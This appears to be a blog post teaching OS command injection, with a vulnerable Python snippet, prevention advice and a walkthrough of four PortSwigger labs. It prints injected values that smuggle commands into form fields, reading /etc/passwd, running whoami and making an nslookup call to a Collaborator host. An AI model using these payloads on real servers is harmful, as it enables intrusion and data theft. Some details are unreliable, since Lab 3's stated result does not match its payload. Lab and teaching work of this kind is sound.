Sitemap
Hazem

Hazem

OS Command

Definition

2 min readMar 25, 2025

--

OS Command Injection is a vulnerability that allows attackers to execute arbitrary operating system commands on the server hosting an application. This occurs when an application passes user input directly to a system shell without proper validation or sanitization.

Example Exploit

Vulnerable Code

python

import os
domain = user_input # User-supplied input
os.system(f”ping -c 4 (domain)”)

Attack Payload

google.com; cat /etc/passwd

The application executes:

bash

Get Hazem’s stories in your inbox

Join Medium for free to get updates from this writer.

ping -c 4 google.com; cat /etc/passwd

  • The /etc/passwd file is displayed, exposing sensitive system information.

Vulnerability Details

Common Locations

  • Input fields that interact with system commands (e.g., ping, traceroute).
  • File upload/download functionality.
  • Administrative interfaces (e.g., server management tools).

Root Causes

  1. Unsanitized Input: Failure to validate or sanitize user-supplied input.
  2. Use of Dangerous Functions: Functions like os.system(), exec(), or popen() that execute shell commands.
  3. Lack of Input Validation: Allowing special characters (e.g., ;, &, !).

Impact

  • Remote Code Execution: Full control over the server.
  • Data Theft: Access to sensitive files (e.g., /etc/passwd, database credentials).
  • System Compromise: Installation of malware or backdoors.

Prevention Strategies

  1. Avoid Dangerous Functions:
    a. Use safer alternatives (e.g., subprocess.run() in Python with shell=False).
  2. Input Validation:
    a. Whitelist allowed characters (e.g., alphanumerics).
    b. Reject input containing special characters (e.g., ;, &, !).
  3. Sandboxing:
    a. Run the application in a restricted environment (e.g., a Docker container).
  4. Least Privilege:
    a. Run the application with minimal permissions.
  5. Web Application Firewall (WAF):
    a. Block malicious payloads.

Now after we got some information about access control We’re going to solve labs in PortSwigger.

Lab 1: OS command injection, simple case

  1. Intercept the request with Burp Suite.
  2. Modify the storeID parameter, giving it the value 1 | whoami.
  3. Result: The server executes whoami, revealing the current user.

Lab 2: Blind OS command injection with time delays

  1. Modify the email parameter, changing it to:
    email=x|ping+c+10+127.0.0.1|
  2. Result: The server response is delayed by 10 seconds, confirming the vulnerability.

Lab 3: Blind OS command injection with output redirection

Objective: Exfiltrate the /etc/passwd file.
Steps:

  1. Modify the email parameter, changing it to:
    email=||whoami>/var/www/images/output.txt|
  2. Result: The /etc/passwd file is sent to the attacker’s server.

Lab 4: Blind OS command injection with out-of-band interaction

  1. Use Burp Suite to intercept and modify the request that submits feedback.
  2. Modify the email parameter, changing it to:email=x||nslookup+x.BURP-COLLABORATOR-SUBDOMAIN||
  3. Right-click and select “Insert Collaborator payload” to insert a Burp.
    Collaborator subdomain where indicated in the modified email
    parameter.

Thank you, and I wish you liked the write-up.

--

--